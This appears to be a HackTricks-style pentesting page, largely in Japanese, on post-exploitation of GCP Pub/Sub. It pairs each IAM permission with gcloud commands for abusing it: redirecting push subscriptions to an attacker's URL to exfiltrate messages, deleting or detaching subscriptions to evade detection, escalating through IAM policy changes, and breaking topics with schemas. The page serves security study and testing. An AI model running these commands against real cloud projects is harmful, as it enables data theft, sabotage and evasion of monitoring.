# GCP - Pub/Sub Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Pub/Sub

For more information about Pub/Sub check the following page:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.topics.publish`

トピックにメッセージを公開します。**予期しないデータを送信する**のに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:

<details>

<summary>トピックにメッセージを公開</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```
</details>

### `pubsub.topics.detachSubscription`

サブスクリプションがメッセージを受信するのを防ぐのに有用で、検出を回避するために使うことがあります。

<details>

<summary>トピックからサブスクリプションを切り離す</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
</details>

### `pubsub.topics.delete`

サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
サブスクリプションが紐づいている状態でもトピックを削除できます。

<details>

<summary>トピックを削除</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
</details>

### `pubsub.topics.update`

この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`... 

### `pubsub.topics.setIamPolicy`

自分に権限を付与して、前述のいずれの攻撃も実行できるようにします。
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)

ウェブサーバーで全てのメッセージを取得する:

<details>

<summary>メッセージを受信するための push subscription を作成する</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
</details>

サブスクリプションを作成し、それを使って **pull messages**:

<details>

<summary>pull subscription を作成してメッセージを取得する</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```
</details>

### `pubsub.subscriptions.delete`

**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:

<details>

<summary>サブスクリプションを削除</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
</details>

### `pubsub.subscriptions.update`

この権限を使って、メッセージが自分でアクセスできる場所（URL, Big Query table, Bucket）に保存されるよう設定を更新したり、単に妨害したりできます。

<details>

<summary>サブスクリプションの更新エンドポイント</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
</details>

### `pubsub.subscriptions.setIamPolicy`

前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。

### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)

スキーマをトピックにアタッチして、メッセージがそれを満たさなくなり、その結果トピックが中断されるようにします。\
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。

<details>

<summary>スキーマファイルを作成してトピックにアタッチする</summary>
```json:schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
```

```bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
```
</details>

### `pubsub.schemas.delete`

schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどの message も topic に入らないため、これは**役に立ちません**：

<details>

<summary>Delete schema (not useful)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
</details>

### `pubsub.schemas.setIamPolicy`

前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。

### `pubsub.snapshots.create`, `pubsub.snapshots.seek`

これは、すべての unACKed メッセージのスナップショットを作成してサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:

<details>

<summary>スナップショットを作成してそこにシークする</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
